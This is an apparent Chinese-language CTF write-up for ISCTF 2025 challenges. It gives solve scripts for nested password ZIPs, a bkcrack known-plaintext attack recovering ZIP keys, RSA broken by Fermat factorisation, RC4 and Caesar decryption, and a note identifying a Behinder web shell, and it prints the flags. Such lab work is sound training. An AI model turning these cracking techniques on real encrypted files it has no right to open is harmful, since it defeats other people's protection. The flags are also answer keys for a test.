comment = zf.comment.decode('utf-8')
except UnicodeDecodeError:
# 防止注释不是utf-8编码导致报错
comment = zf.comment.decode('gbk', errors='ignore')
# 2. 正则提取密码
match = re.search(r'The password is\s+(.+)', comment)
if match:
password = match.group(1).strip()
# print(f" 发现密码: {password}") # 如果刷屏太快可以注释掉这行
else:
print(" 未在注释中发现密码,可能已到达最后一层。")
break
# 3. 解压文件
file_list = zf.namelist()
if not file_list:
break
# 设置密码并解压
zf.setpassword(password.encode('utf-8'))
zf.extractall()
next_file = file_list[0]
# 4. 删除旧文件,清理磁盘
os.remove(current_file)
current_file = next_file
# 判断是否结束(看文件名后缀)
if not current_file.endswith('.zip'):
print(f"\n======== 成功!========")
print(f"最终文件是: {current_file}")
try:
with open(current_file, 'r', encoding='utf-8', errors='ignore') as f:
print("文件内容:", f.read())
except:
print("无法读取内容,请手动查看。")
break
except Exception as e:
print(f"发生错误: {e}")
# 如果出错,不要死循环,暂停一下让用户看清
break
echo -n "flagggg1.zip" > plain1.txt
bkcrack -C flagggg3.zip -c flagggg2.zip -p plain1.txt -o 30 -x 0 504B0304
[13:45:24] Keys
ae0c4b27 66c21cba b9a7958f
bkcrack -C .\flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip


jqW2Dg2C7HLo86yRWh3CaEXZXw8T98Mz
小蓝鲨的神秘文件


miscrypto

文件尾有base64表,图片lsb有base64值

n可以分解
import gmpy2
from Crypto.Util.number import long_to_bytes
# 1. 输入数据
# 注意:题目给的 c 是十六进制格式,需要转换
c =7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917
n = 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609
e = 65537
# 2. 费马分解 (Fermat Factorization)
def fermat_factorization(n):
# 初始化 a 为 n 的整数平方根
a = gmpy2.isqrt(n)
while True:
# 计算 b^2 = a^2 - n
b2 = gmpy2.square(a) - n
# 如果 b^2 是完全平方数,说明找到了
if b2 >= 0 and gmpy2.is_square(b2):
b = gmpy2.isqrt(b2)
p = a + b
q = a - b
return p, q
# 否则尝试下一个 a
a += 1
print("[*] 正在进行费马分解...")
p, q = fermat_factorization(n)
print(f"[+] 分解成功!")
print(f"p = {p}")
print(f"q = {q}")
# 3. RSA 解密
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
# 4. 获取 Flag
flag = long_to_bytes(m)
print(f"\n[+] Flag: {flag.decode()}")
#ISCTF{M15c_10v3_Cryp70}
消失的flag
root@ta0:~/Desktop# ssh -p 21341 [email protected] > 1.txt
root@ta0:~/Desktop# cat -A 1.txt
ISCTF{3974ede4-79ed-4f0c-9390-fb5b5a788c89}^M ^M$
___ ____ ____ _____ _____ ^M$
|_ _/ ___| / ___|_ _| ___|^M$
| |\___ \| | | | | |_ ^M$
| | ___) | |___ | | | _| ^M$
|___|____/ \____| |_| |_| ^M$
^M$
(base)

爱玩游戏的小蓝鲨
恢复图片
import numpy as np
from PIL import Image
# 读取文件内容
with open('米哈游_rbg_tb.py', 'r') as f:
lines = f.readlines()
data_rbg = []
for line in lines:
line = line.strip()
if line.startswith('(') and line.endswith(')'):
try:
parts = line[1:-1].split(',')
# 解析 (R, B, G) 并转换为 (R, G, B)
r = int(parts[0])
b = int(parts[1])
g = int(parts[2])
data_rbg.append((r, g, b))
except:
pass
data_rbg = np.array(data_rbg, dtype=np.uint8)
try:
img2 = Image.fromarray(data_rbg.reshape((399, 482, 3)), 'RGB')
img2.save('image_corrected_399x482.png')
print("图像已生成")
except Exception as e:
print(f"Error: {e}")


眼盯QKEMK_al4t_k4nT_au_Mm3_U0Kv_yzV_94e3_kg_yp3_O0teI
密钥是ISCTF
ISCTF{st4r_r4iL_is_Th3_M0St_fuN_94m3_in_th3_W0rlD}
应急响应
奇怪的shell文件

一眼冰蝎
ISCTF{Behinder}
hacker
直接搜register.php
192.168.37.177
SIGNIN
Ez_Caesar
def variant_caesar_decrypt(ciphertext):
decrypted = ""
shift = 2
for char in ciphertext:
if char.isalpha():
if char.isupper():
base = ord('A')
new_char = chr((ord(char) - base - shift) % 26 + base)
else:
base = ord('a')
new_char = chr((ord(char) - base - shift) % 26 + base)
decrypted += new_char
shift += 3
else:
decrypted += char
return decrypted
cipher = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"
flag = variant_caesar_decrypt(cipher)
print(flag)
小蓝鲨的RC4系统
import hashlib
# 1. 复制题目提供的类
class StreamCipher:
def __init__(self, key):
self.S = list(range(256))
self.i = 0
self.j = 0
j = 0
key_bytes = self._key_to_bytes(key)
for i in range(256):
j = (j + self.S[i] + key_bytes[i % len(key_bytes)]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
def _key_to_bytes(self, key):
if isinstance(key, str):
return hashlib.sha256(key.encode()).digest()
elif isinstance(key, bytes):
return hashlib.sha256(key).digest()
def _prga(self):
self.i = (self.i + 1) % 256
self.j = (self.j + self.S[self.i]) % 256
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
K = self.S[(self.S[self.i] + self.S[self.j]) % 256]
return K
def crypt(self, data):
if isinstance(data, str):
data = data.encode('utf-8')
result = bytearray()
for byte in data:
key_byte = self._prga()
result.append(byte ^ key_byte)
return bytes(result)
# 2. 准备参数
key = "ISCTF2025" # 从注释中提取的 Key
cipher_hex = "ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d"
# 3. 将 Hex 转换为 Bytes
cipher_bytes = bytes.fromhex(cipher_hex)
# 4. 初始化密码机并解密
cipher_machine = StreamCipher(key)
plaintext_bytes = cipher_machine.crypt(cipher_bytes)
# 5. 输出结果
print(f"Flag: {plaintext_bytes.decode(errors='ignore')}")